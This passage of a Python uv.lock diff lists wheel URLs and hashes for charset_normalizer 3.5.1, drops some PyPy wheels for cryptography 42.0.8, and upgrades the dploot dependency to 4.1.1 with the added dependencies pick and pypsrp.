"https://files.pythonhosted.org/packages/ac/33/eeb384dbd8dec570661354592f4f2e1b2fcc92585624d146a000caf53841/charset_normalizer-3.5.1-cp314-cp314-win_arm64.whl", hash = "sha256:4bea7f8ebe90bbd7f0e4a2de42ca6924ba23e3e76418c408ff82f1d46fabd687", size = 184123, upload-time = "2026-08-15T08:18:34.913Z" }, + { url = "https://files.pythonhosted.org/packages/1c/6c/c73fa9d5a85f6ab05395de61c5f6984e0a9ff40bb5ff888d46dff02526c6/charset_normalizer-3.5.1-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:fbc597639158fd7c14d55e808718848319540f51b0e6746e3eefa59723a4a348", size = 381682, upload-time = "2026-08-15T08:18:36.349Z" }, + { url = "https://files.pythonhosted.org/packages/30/c7/63565f860921457feba93bae6c86fb7746deb4cffeed2f375cb845318146/charset_normalizer-3.5.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e71c909f353863b2b89c83de2ebed71ea6d0df8a6ef65a128193c5e650766bef", size = 240826, upload-time = "2026-08-15T08:18:37.887Z" }, + { url = "https://files.pythonhosted.org/packages/06/ae/7ae8807410dfa33f8e6f1715740adeaafa8a816cc4cb33508f54b1f7c896/charset_normalizer-3.5.1-cp314-cp314t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:7ac76cf9afd34929d76eb7fcb63be476a4853d8a96f0dcf2d0db68a0cbdf9885", size = 227861, upload-time = "2026-08-15T08:18:39.315Z" }, + { url = "https://files.pythonhosted.org/packages/e9/a3/887c1642f0da26000b0e0652d91071113c0e72cea33952e225cf589f49a9/charset_normalizer-3.5.1-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a3a370082ce34d0612f421e15fe011c53bb1feff21a26d06ad4fb244dab5a375", size = 260758, upload-time = "2026-08-15T08:18:40.88Z" }, + { url = "https://files.pythonhosted.org/packages/3e/11/e6f5b9a3d0e55b0ef7505cd3765cdd48f22db89994c947b316f52f801fd8/charset_normalizer-3.5.1-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:256dd4d85d9e4dc595e2bc983c980e73f62ddeb3165c58b4c3dfe78c5c8548c1", size = 259950, upload-time = "2026-08-15T08:18:42.351Z" }, + { url = "https://files.pythonhosted.org/packages/1b/ee/e4e10a94d51cd1ee638aa7e00b65399e6b2a4e8376ab6d2eac9f95586671/charset_normalizer-3.5.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:58d4aa13a59c969dbfdf9e6a9560e242cbfd9e8a8f50c2747714df1a423adf65", size = 249329, upload-time = "2026-08-15T08:18:43.914Z" }, + { url = "https://files.pythonhosted.org/packages/c4/25/d5f4198819e6059735a84e8d0bfb72dc33976da67b97adcd3fb5a5e07ec6/charset_normalizer-3.5.1-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0c6dfb5ca6723eeed15aa8e564a014d69fcb8812f94eef11fe3631e0508199f5", size = 243137, upload-time = "2026-08-15T08:18:45.368Z" }, + { url = "https://files.pythonhosted.org/packages/a5/e9/e925ca7569cf9fb9701fd82503fee73eea5268fdb856bdd64947092d3daa/charset_normalizer-3.5.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:c010f5581d9c612804cc59fcf7b524b707fbcb72828551237ab545bb5c7034af", size = 242820, upload-time = "2026-08-15T08:18:46.842Z" }, + { url = "https://files.pythonhosted.org/packages/34/17/672c251a888ed2aebcdd2fe830ad0104e25ff83c43f5c4f9c15e9fc6853c/charset_normalizer-3.5.1-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:52ec005752a56ae79547a05c0139ca2501a0c866390b6115008456b9f0e7cde1", size = 230504, upload-time = "2026-08-15T08:18:48.353Z" }, + { url = "https://files.pythonhosted.org/packages/3f/fc/f6a85abebd42ce4da2f1db0aa56cc6a0df1995e318b3875d14401b8381d1/charset_normalizer-3.5.1-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:2bced4061f000f7187254a02ad3433ae17eaf991747ceea2f478422590a5bba9", size = 263087, upload-time = "2026-08-15T08:18:49.859Z" }, + { url = "https://files.pythonhosted.org/packages/98/66/7c42677e739ba66746b297e2046918d793078094dc239e1e72768cffccc6/charset_normalizer-3.5.1-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:9eea3ab2597a5e65fe65296e2d6a84570845a6b55532d90333d740d48bbc850a", size = 243269, upload-time = "2026-08-15T08:18:51.601Z" }, + { url = "https://files.pythonhosted.org/packages/de/d8/a50b79237f417af10f8c2a501ce8d1ca87829a22e69117891ca4ba20a69e/charset_normalizer-3.5.1-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:496846868fea80e479324862fa877f02411f2fd0f83b79ccee2607aa68b2a032", size = 258766, upload-time = "2026-08-15T08:18:53.23Z" }, + { url = "https://files.pythonhosted.org/packages/2e/1d/0fc91aeaeb3c83b748f532399ce67cf84604b48297405d740000f7a9e786/charset_normalizer-3.5.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:85d5855daafc240cc045c026d7a15fd198a09b0fc8ff6f5ecbb5297b509cb11e", size = 250814, upload-time = "2026-08-15T08:18:54.768Z" }, + { url = "https://files.pythonhosted.org/packages/ae/10/3d8c777cf9024615295aa1b808324ad5b4a77855869c00824bad74ffaf8a/charset_normalizer-3.5.1-cp314-cp314t-win32.whl", hash = "sha256:58d3e12c88e0950bca850ae1f7c256055c097639c2edb9eb123af9807d8b15e4", size = 191074, upload-time = "2026-08-15T08:18:56.305Z" }, + { url = "https://files.pythonhosted.org/packages/4d/81/ae557d3c44d1a1d688696d60563413a0866a91b7ebc50f20df838be3d8c8/charset_normalizer-3.5.1-cp314-cp314t-win_amd64.whl", hash = "sha256:acaf604462bf330b0d07e7a07c1d6e4adac79e5fb13e9c5140590542cafacc00", size = 216476, upload-time = "2026-08-15T08:18:57.889Z" }, + { url = "https://files.pythonhosted.org/packages/27/e9/61c01fb8b804692569c036b3fc50495814502dcf13a60649c6055390b02c/charset_normalizer-3.5.1-cp314-cp314t-win_arm64.whl", hash = "sha256:fdb8a068947befafba9952162645dc2fecaeb400e64584829ed5e9b2fbe21a7f", size = 194115, upload-time = "2026-08-15T08:18:59.418Z" }, + { url = "https://files.pythonhosted.org/packages/4a/4e/8544831ef59d8f27ce92c80871380fdacc8076a8a56ed62f82e54f991333/charset_normalizer-3.5.1-cp315-cp315-macosx_10_15_universal2.whl", hash = "sha256:9085f87b0e38a2b92b8923059b4e8789fe40d9279712d15dcc670048d77079af", size = 342048, upload-time = "2026-08-15T08:19:01.054Z" }, + { url = "https://files.pythonhosted.org/packages/7f/a6/e3b46852424246065355644f4fb6dbccc0239a42a2eee27ecfc8957f0bcd/charset_normalizer-3.5.1-cp315-cp315-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2679de311c7946dde5d3b6f44941844133ff5c7cb86099c0061ab1e8901c20a8", size = 242997, upload-time = "2026-08-15T08:19:02.492Z" }, + { url = "https://files.pythonhosted.org/packages/03/3b/0cc9a26777334ab2f2e3089b948bbf4e4fe72ea70b897715ef6415043ec8/charset_normalizer-3.5.1-cp315-cp315-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:baf3775a2635e5a11fbd5e4e64ee69c7e86875d224a5c72aca4c141064589a90", size = 237014, upload-time = "2026-08-15T08:19:03.943Z" }, + { url = "https://files.pythonhosted.org/packages/8c/c2/027335f0aa337a2a2e121bac1ad88c4f02ba6053ea0926802784f3db11af/charset_normalizer-3.5.1-cp315-cp315-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8ac8c94b6539074e0f40899301273ac8402b9b3e01c7b7ba269ff30340aaaf20", size = 266174, upload-time = "2026-08-15T08:19:05.598Z" }, + { url = "https://files.pythonhosted.org/packages/86/d3/e367787febe4e74769dec0f406f2c3c8d1b955fce5aee1fd0f94e8367a45/charset_normalizer-3.5.1-cp315-cp315-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:8fe532b3c966d1fb794e0698e4589d0444017ae77fc0b31edea13c0e35bcc449", size = 263361, upload-time = "2026-08-15T08:19:07.251Z" }, + { url = "https://files.pythonhosted.org/packages/af/3d/391b193eb9f3e84b02f9314088c386debdc0debee843535aaea2e2c6715d/charset_normalizer-3.5.1-cp315-cp315-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5c84bec0ab5ae0c64bfe73a7d2adcb5ce73b467523fc27fd6a28ab2aa6cbe35a", size = 252143, upload-time = "2026-08-15T08:19:08.816Z" }, + { url = "https://files.pythonhosted.org/packages/2e/57/de221f1745a90d418199761967e2776bfe2c275a1194220985e8c1d37833/charset_normalizer-3.5.1-cp315-cp315-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:854066be00447fa8de2ccbbe893e2ffc4b123ef16d897af794c1e18bd4a714b0", size = 252086, upload-time = "2026-08-15T08:19:10.255Z" }, + { url = "https://files.pythonhosted.org/packages/c8/e3/d119f86a01f9331e8186175f24873b1d74a7ee9e2e4b4d68f9947dae5afd/charset_normalizer-3.5.1-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:21b82d8082f6f5e7f456ef0bd16323d08de1266efbfeb476e64b2a91d1471a4e", size = 245231, upload-time = "2026-08-15T08:19:11.807Z" }, + { url = "https://files.pythonhosted.org/packages/26/de/d8e48c135ae480879539cdb179c8d3b50c7879497d75dd899b5763b69cee/charset_normalizer-3.5.1-cp315-cp315-musllinux_1_2_armv7l.whl", hash = "sha256:838648accb3a7fd9803fd45c87bce8509648eb0c11bc34e216141300977244f2", size = 241546, upload-time = "2026-08-15T08:19:13.416Z" }, + { url = "https://files.pythonhosted.org/packages/67/c4/217755fd1abc50d326c252922cd642002758095a81ff45010337b8b3ef65/charset_normalizer-3.5.1-cp315-cp315-musllinux_1_2_ppc64le.whl", hash = "sha256:195ce897c6153c0700078142cf8efe3e6454ca4cf4357499e4078dfd83396626", size = 267033, upload-time = "2026-08-15T08:19:14.981Z" }, + { url = "https://files.pythonhosted.org/packages/b8/d7/34d8e404e358d2adcc5a228c2134643af00104c8fb0bf525f3688d756f05/charset_normalizer-3.5.1-cp315-cp315-musllinux_1_2_riscv64.whl", hash = "sha256:978eab16f55b4ab2c2a745be9a0a840bf8f09a7f227d9c76eb30214d078865a5", size = 252045, upload-time = "2026-08-15T08:19:16.618Z" }, + { url = "https://files.pythonhosted.org/packages/5e/fa/40414471acf0aa0692ca77305aa00e434fcd8288f0941c93c30e9a5f8f2f/charset_normalizer-3.5.1-cp315-cp315-musllinux_1_2_s390x.whl", hash = "sha256:cc0329df4caaceb950d2f580b5ac716a377f7059624a0bafaeaf8a218c6ed774", size = 264866, upload-time = "2026-08-15T08:19:18.101Z" }, + { url = "https://files.pythonhosted.org/packages/32/90/fcc850bae791abd2e0c041847f13e270aa08692a79f3e00de6d2dce1cb50/charset_normalizer-3.5.1-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:687c9ca3035544b113bea2055e180af96fb63c0c476e22a9180f51925186e7b7", size = 253932, upload-time = "2026-08-15T08:19:19.734Z" }, + { url = "https://files.pythonhosted.org/packages/af/af/53afe99068b3c10b4cbae592a52ef72a7c92c0188440e83ee3a078fd8f75/charset_normalizer-3.5.1-cp315-cp315-win32.whl", hash = "sha256:706bfd38730a5ac7a365793269a00f4e988178cec121391f4248d84ad8c972e9", size = 180320, upload-time = "2026-08-15T08:19:21.37Z" }, + { url = "https://files.pythonhosted.org/packages/c9/bc/f46a132041b29e4a8779ed712d3df1bf112e94ca8de58b66d7ec2c0cf8b9/charset_normalizer-3.5.1-cp315-cp315-win_amd64.whl", hash = "sha256:92caef967d287a407085d61176fce4012b1dd62daed4eb6d5ceb26d3d2538712", size = 204174, upload-time = "2026-08-15T08:19:23.088Z" }, + { url = "https://files.pythonhosted.org/packages/a1/5d/9ed554480eda8e447b673648628fdc29574d23dbad01fe11837adedd1cae/charset_normalizer-3.5.1-cp315-cp315-win_arm64.whl", hash = "sha256:5fc45d653ea8c9a20479167e11d4a0f8cb2fa3470737ab6f9c827532313187b7", size = 184126, upload-time = "2026-08-15T08:19:24.471Z" }, + { url = "https://files.pythonhosted.org/packages/3b/32/9b8929bf384061ee1fe5d9c27c6f9776d3d824039ad4e14c88ec00c7808e/charset_normalizer-3.5.1-cp315-cp315t-macosx_10_15_universal2.whl", hash = "sha256:59171c6e45bf07d0d5cab3b0bf81d945035530f6873398b3b531c31184d46663", size = 381441, upload-time = "2026-08-15T08:19:26.038Z" }, + { url = "https://files.pythonhosted.org/packages/96/10/e9aa7923d3ddac652c99a1c5f7be494e737e151566a44abe018daf757f2c/charset_normalizer-3.5.1-cp315-cp315t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9dbdd9205662134957cf0c324f639bdc5031c0ca056e2369e238db75187c0f11", size = 241742, upload-time = "2026-08-15T08:19:27.532Z" }, + { url = "https://files.pythonhosted.org/packages/28/53/a2d249ebddf47b889a100c0bdcb61a2f9dbb8bc24ef325cc062e4f476877/charset_normalizer-3.5.1-cp315-cp315t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:e4b018dc5a0eee4676e38fe84a47a427816c590b93b55d9025274ec4d6ffc2dc", size = 235298, upload-time = "2026-08-15T08:19:29.274Z" }, + { url = "https://files.pythonhosted.org/packages/7d/07/469f78af590f7d5cd48e20d8dbfa3d66deeff9ba37768c04d886b5afd45c/charset_normalizer-3.5.1-cp315-cp315t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ced3fdd71aaa83ce593746c2edb42b7a59cb4c19c8b5c407781c72e493aae55a", size = 262500, upload-time = "2026-08-15T08:19:30.955Z" }, + { url = "https://files.pythonhosted.org/packages/55/66/3bb56a47f7dcba014055b1a1d33c6f08bbe9c1e74dba154cfa25f90ae885/charset_normalizer-3.5.1-cp315-cp315t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:19a3dd5aa73cef1c99687c4fc57db016a9c17104ae1185da88ba566a5d3bebe4", size = 258888, upload-time = "2026-08-15T08:19:32.458Z" }, + { url = "https://files.pythonhosted.org/packages/ff/c1/2adc2800903fb013210349313b710a5376856578d9e33e6b9a1d8b36714a/charset_normalizer-3.5.1-cp315-cp315t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:cc5d36d96478aa9c60654bd932525bf32964c62a7281eafdf16d85003a8d6004", size = 250243, upload-time = "2026-08-15T08:19:33.94Z" }, + { url = "https://files.pythonhosted.org/packages/95/b5/a18d0dd1157ab655cc2cb14a545f4a4784bbad70ab3502412e36097502d9/charset_normalizer-3.5.1-cp315-cp315t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:04368edf83514385ffc3e1cfd4546e595f4f1272dd23ba437a93a9cc3741d47b", size = 249871, upload-time = "2026-08-15T08:19:35.413Z" }, + { url = "https://files.pythonhosted.org/packages/ad/c3/525f508cd1e58d0450ac55ed40ac75bc3a97482c59def5278456a5fbf03c/charset_normalizer-3.5.1-cp315-cp315t-musllinux_1_2_aarch64.whl", hash = "sha256:9b5db6052055d34d41230fb78d7c439c23dc536a9896f6cb039e8dd92cfc1263", size = 243580, upload-time = "2026-08-15T08:19:36.886Z" }, + { url = "https://files.pythonhosted.org/packages/7c/c1/49a91fe7e97c8140094ca5c64161ab623a70d9f636bf834eace14048acb5/charset_normalizer-3.5.1-cp315-cp315t-musllinux_1_2_armv7l.whl", hash = "sha256:252d099029bcbea642f2a06c4ed5046bdf8b5a8150b64afa5e027e88b106e5ee", size = 239807, upload-time = "2026-08-15T08:19:38.392Z" }, + { url = "https://files.pythonhosted.org/packages/d3/58/56a48c296601274c4689b864a8e2dfb209b81dfcb39472753ce95eea662b/charset_normalizer-3.5.1-cp315-cp315t-musllinux_1_2_ppc64le.whl", hash = "sha256:6199d5606e2bbf2b096cf64d03f8b6790c91081d5ac866b8e7bb6422738cc60c", size = 264083, upload-time = "2026-08-15T08:19:39.856Z" }, + { url = "https://files.pythonhosted.org/packages/10/4c/dc48409274a1817ff349711d26c62aa0c597df865d4d69ef79160c859193/charset_normalizer-3.5.1-cp315-cp315t-musllinux_1_2_riscv64.whl", hash = "sha256:77efcff2b23071c349402ac1066667a3d011f62398d81408c9b88ad991747c9e", size = 250317, upload-time = "2026-08-15T08:19:41.53Z" }, + { url = "https://files.pythonhosted.org/packages/81/58/d325912115caec62d6bdd77bbab5e0b7da5d234a9f20affdffcbcb530d0b/charset_normalizer-3.5.1-cp315-cp315t-musllinux_1_2_s390x.whl", hash = "sha256:a5cbd90ecf0fc62e64726917ad083b73001f0563657a87ec3c0b504e277dc90d", size = 258173, upload-time = "2026-08-15T08:19:43.07Z" }, + { url = "https://files.pythonhosted.org/packages/34/f7/b13b1ccae2c8ec63980d13be1890eb73f8aeabbfce02a24aabc0908788f5/charset_normalizer-3.5.1-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:4d26f14f041e83dd8edfd61f4cd4fa7285d31798b5bf1f28e70c367ba6c41d61", size = 251960, upload-time = "2026-08-15T08:19:44.587Z" }, + { url = "https://files.pythonhosted.org/packages/1e/25/ed3f9919c5aef8cc818be1f972f565f7610d7b2076b8ebb98839516ffc3c/charset_normalizer-3.5.1-cp315-cp315t-win32.whl", hash = "sha256:ac13b004224fb341e1e25a1ed5e19d32f57cdb2a403e01f003b46f051a550f6f", size = 191186, upload-time = "2026-08-15T08:19:46.293Z" }, + { url = "https://files.pythonhosted.org/packages/69/d5/43c2b3e9d8267092b913eb8b0603f0f71993c395632886bd37a7223f96cf/charset_normalizer-3.5.1-cp315-cp315t-win_amd64.whl", hash = "sha256:35aea775dc2bd5f54cd84a1cd2696cc3207c479cb9cf0bd346f0d343e4300ddb", size = 215947, upload-time = "2026-08-15T08:19:47.853Z" }, + { url = "https://files.pythonhosted.org/packages/a8/76/9aad3e9c8865e5e0efa9a7f6f81c37a67635a985145ecd44528a81e088ee/charset_normalizer-3.5.1-cp315-cp315t-win_arm64.whl", hash = "sha256:fb78f6e7fcd8ad785d28cd577168bc1aaee827b25bb8755638f694794ea98f0a", size = 193909, upload-time = "2026-08-15T08:19:49.383Z" }, + { url = "https://files.pythonhosted.org/packages/5b/97/fb4e82231aba271ffd775a1b4993b0defc4e3059f286ae41d9433409fe85/charset_normalizer-3.5.1-cp37-abi3-macosx_10_9_universal2.whl", hash = "sha256:41876ee62a3dddf48ff1121ad8f0798032aa03f2fd35f21f34a4cab14f18d8d2", size = 331467, upload-time = "2026-08-15T08:19:50.959Z" }, + { url = "https://files.pythonhosted.org/packages/9f/2f/fe3f187327aac18e2d54e9d2b08e15d27bf9b642d9e51c219f130fc34d1a/charset_normalizer-3.5.1-cp37-abi3-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:a6dac12ff6b846103483683f60c5f8fee205121adc58ffd87e90a90a3af69e99", size = 253057, upload-time = "2026-08-15T08:19:52.654Z" }, + { url = "https://files.pythonhosted.org/packages/d7/c7/9e48cee5c161fe24da823b61bf381921d77cb994a0a4de148e95018c1984/charset_normalizer-3.5.1-cp37-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:cee5dd7c6fb5dd52a0fe2a740f9bc6e3593f5f8b1788bde49de02086f30182b2", size = 240930, upload-time = "2026-08-15T08:19:54.163Z" }, + { url = "https://files.pythonhosted.org/packages/49/e0/716601f3cc69be7b198951150c75ead1ece33c3c8036ff6ffa46029659a0/charset_normalizer-3.5.1-cp37-abi3-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:343fb4f2821043bd87095f7b08a1a181febc8e36ac64212143bbfd0a0e1bc235", size = 230822, upload-time = "2026-08-15T08:19:55.807Z" }, + { url = "https://files.pythonhosted.org/packages/d3/05/71bfc5caa0abcc45aea1f6a4d50ac68e59605ddc7666fe8494f4cd229665/charset_normalizer-3.5.1-cp37-abi3-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ae4a097991662cd4fff0ddc74e0fe7874f82e00042fa0ea00855645ed0c79598", size = 260037, upload-time = "2026-08-15T08:19:57.312Z" }, + { url = "https://files.pythonhosted.org/packages/c3/92/de7e32ed05341e7a9c4c877c318418197b7f2d66a3b68d561bf2ac57ca3e/charset_normalizer-3.5.1-cp37-abi3-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4b599739b93b2cbeded49645ae3c8d1405c29ddfbceac1545c87a3f9580a9e96", size = 255097, upload-time = "2026-08-15T08:19:59.056Z" }, + { url = "https://files.pythonhosted.org/packages/f5/7b/ade0a122600319dfa0b1000ab0f9731c94a817904cf3c5de408c73a4ede7/charset_normalizer-3.5.1-cp37-abi3-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b39b69b347e5e47a3b5b8cfc005c68c1ba347474e3960236c4944a8ecd174962", size = 250166, upload-time = "2026-08-15T08:20:00.612Z" }, + { url = "https://files.pythonhosted.org/packages/75/9c/019fbb9f4834491a160951349b1a3714439376f66e5f7cf18b4f18f0c7aa/charset_normalizer-3.5.1-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:a2028475ba855475b8b4d3cfeb4994269c967aea8b9892dfba907f4263a863a3", size = 241821, upload-time = "2026-08-15T08:20:02.321Z" }, + { url = "https://files.pythonhosted.org/packages/2b/b8/11d4840bfc99330cc7fbcc2681ee5a044553a6e77655508d8f9b2bff7b34/charset_normalizer-3.5.1-cp37-abi3-musllinux_1_2_armv7l.whl", hash = "sha256:36047af20e17097c3bb9476c2b7655f2f7aa51322c0ba58c07695bedf755a950", size = 232529, upload-time = "2026-08-15T08:20:04.008Z" }, + { url = "https://files.pythonhosted.org/packages/18/96/2b3a21492d9f65171ac75d872f5018260013d00bfa0ff70ec9f179148cbd/charset_normalizer-3.5.1-cp37-abi3-musllinux_1_2_ppc64le.whl", hash = "sha256:4c4fb141a727957c93edfe5c32a26ceb6b5f6461d67146e2d39f51e16170bea8", size = 260348, upload-time = "2026-08-15T08:20:05.877Z" }, + { url = "https://files.pythonhosted.org/packages/d6/aa/a69a2028e8bd052476c245460ab19d7de595de084dd968f2d75cd50c3e25/charset_normalizer-3.5.1-cp37-abi3-musllinux_1_2_riscv64.whl", hash = "sha256:2f293479cce755c75f1697e87c409b7ae4c555c7dfecb6e988ad13abba943031", size = 247234, upload-time = "2026-08-15T08:20:07.487Z" }, + { url = "https://files.pythonhosted.org/packages/35/8a/3d130aeabcaf3d2466af76b7b141c08d9e89c9016ab4b7cdd0f7dc2d1c62/charset_normalizer-3.5.1-cp37-abi3-musllinux_1_2_s390x.whl", hash = "sha256:3588e376b3ea2eea84976f67273d679f229e24c66dce7b82ae45aef04ff6e072", size = 256917, upload-time = "2026-08-15T08:20:09.142Z" }, + { url = "https://files.pythonhosted.org/packages/80/c2/a7379b840292d0c1ab9fbd17d1f3967aa81794dc95bc74be8999d7fedcf7/charset_normalizer-3.5.1-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:e199fb99720074809a7720f1c0b4d919eea8b87e88713e0f8f602f7bef543d9d", size = 254846, upload-time = "2026-08-15T08:20:10.727Z" }, + { url = "https://files.pythonhosted.org/packages/01/65/d43b714731bb2f40d4053dfa00ecfc1c5a301f8e3316c5db3a09af59fe94/charset_normalizer-3.5.1-cp37-abi3-win32.whl", hash = "sha256:dd732602a7009217f658d5863d12d79d373a4de0eebc111094bcdd3bb8e0a6cc", size = 174216, upload-time = "2026-08-15T08:20:12.334Z" }, + { url = "https://files.pythonhosted.org/packages/35/4f/b911ed898b26a09789eba9c9200c999aff6c61b4bafaf4838e56d1a1e1a3/charset_normalizer-3.5.1-cp37-abi3-win_amd64.whl", hash = "sha256:70055ff39b97c99e7ae40ea3e393fb62aa2e44dbd9b29f8d14f42fb0025c3959", size = 199764, upload-time = "2026-08-15T08:20:13.908Z" }, + { url = "https://files.pythonhosted.org/packages/f0/a7/920baf467bfd9bf689f3b318340f37aee4572a71f162bd8db51da55ba4fa/charset_normalizer-3.5.1-cp37-abi3-win_arm64.whl", hash = "sha256:87e4f41d375c0b9be2fb5251aee4b8a689169e134535aed81bf085c3b647451e", size = 287318, upload-time = "2026-08-15T08:20:15.551Z" }, + { url = "https://files.pythonhosted.org/packages/cc/61/d01fc49b8dea277640b55a9e15960dbca9fdc8c9fde18e572d39c59f4019/charset_normalizer-3.5.1-py3-none-any.whl", hash = "sha256:6df0ec430f9a831772c23ca5a224cba36517a58a84bb32c32bb59a9fa67c47f6", size = 68658, upload-time = "2026-08-15T08:20:43.306Z" }, ] [[package]] @@ -645,10 +696,6 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/fd/2b/be327b580645927bb1a1f32d5a175b897a9b956bc085b095e15c40bac9ed/cryptography-42.0.8-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:b297f90c5723d04bcc8265fc2a0f86d4ea2e0f7ab4b6994459548d3a6b992a14", size = 3938751, upload-time = "2024-06-04T19:54:37.837Z" }, { url = "https://files.pythonhosted.org/packages/3c/d5/c6a78ffccdbe4516711ebaa9ed2c7eb6ac5dfa3dc920f2c7e920af2418b0/cryptography-42.0.8-cp39-abi3-win32.whl", hash = "sha256:2f88d197e66c65be5e42cd72e5c18afbfae3f741742070e3019ac8f4ac57262c", size = 2439281, upload-time = "2024-06-04T19:53:55.903Z" }, { url = "https://files.pythonhosted.org/packages/a2/7b/b0d330852dd5953daee6b15f742f15d9f18e9c0154eb4cfcc8718f0436da/cryptography-42.0.8-cp39-abi3-win_amd64.whl", hash = "sha256:fa76fbb7596cc5839320000cdd5d0955313696d9511debab7ee7278fc8b5c84a", size = 2886038, upload-time = "2024-06-04T19:54:18.707Z" }, - { url = "https://files.pythonhosted.org/packages/a3/fe/1e21699f0a7904e8a30d4fc6db262958f1edf5e505a02e7d97a5b419e482/cryptography-42.0.8-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:ba4f0a211697362e89ad822e667d8d340b4d8d55fae72cdd619389fb5912eefe", size = 3014449, upload-time = "2024-06-04T19:54:40.379Z" }, - { url = "https://files.pythonhosted.org/packages/d5/f3/61b398b5ec61f4b6ffbf746227df7ebb421696458d9625d634043f236a13/cryptography-42.0.8-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:81884c4d096c272f00aeb1f11cf62ccd39763581645b0812e99a91505fa48e0c", size = 3558533, upload-time = "2024-06-04T19:54:42.123Z" }, - { url = "https://files.pythonhosted.org/packages/c1/e2/60b05e720766e185ef097d07068bd878a51d613ef91e4c241750f9c9192b/cryptography-42.0.8-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:c9bb2ae11bfbab395bdd072985abde58ea9860ed84e59dbc0463a5d0159f5b71", size = 3759330, upload-time = "2024-06-04T19:54:09.258Z" }, - { url = "https://files.pythonhosted.org/packages/10/38/2c8dae407d301eaf942e377a5b2b30485cfa0df03c6c2dcc2ac044054ed9/cryptography-42.0.8-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:7016f837e15b0a1c119d27ecd89b3515f01f90a8615ed5e9427e30d9cdbfed3d", size = 2801764, upload-time = "2024-06-04T19:54:25.455Z" }, ] [[package]] @@ -662,17 +709,19 @@ wheels = [ [[package]] name = "dploot" -version = "3.2.2" +version = "4.1.1" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "cryptography" }, { name = "impacket" }, { name = "lxml" }, + { name = "pick" }, { name = "pyasn1" }, + { name = "pypsrp" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/80/b1/40295eaf9ac7ab4c93a2568356971480d335b410cf67075064cb4e9ddaec/dploot-3.2.2.tar.gz", hash = "sha256:3f6acf90113ad076be9b59ea4142d0de4d910d4ae8f99a744d47cf010352d3a8", size = 68524, upload-time = "2026-03-13T16:27:31.139Z" } +sdist = { url = "https://files.pythonhosted.org/packages/fa/6c/52dee037768f5d940b5ae410d80fd431fef7d210d7f9af83caeb871e88f9/dploot-4.1.1.tar.gz", hash = "sha256:aaf4e4cf581c980e888d5d53a46d6c4e39faa1e51374f699342768f39bb24248", size = 72339, upload-time = "2026-09-14T13:55:44.529Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/81/96/4f81066afd9dc958c3cea89a3dc371c94cc651d528853545cf3a54bade7c/dploot-3.2.2-py2.py3-none-any.whl", hash = "sha256:8c7e436f382af7ae46642b8dbb91a4aa0818a2556c3ef802197ffd95ba9c8ea9", size = 93718, upload-time = "2026-03-13T16:27:29.83Z" }, + { url = "https://files.pythonhosted.org/packages/19/c0/ede1a114ca34556b2c44844627e043336cb68a76817253682f6d96535fbb/dploot-4.1.1-py3-none-any.whl", hash = "sha256:5fbca4076f0526ddd37f82a9b62a7a60ec72f7b674601e6c501a40164a542b1a", size = 101304, upload-time = "2026-09-14T13:55:45.849Z" }, ] [[package]] @@ -688,15 +737,17 @@ wheels = [ 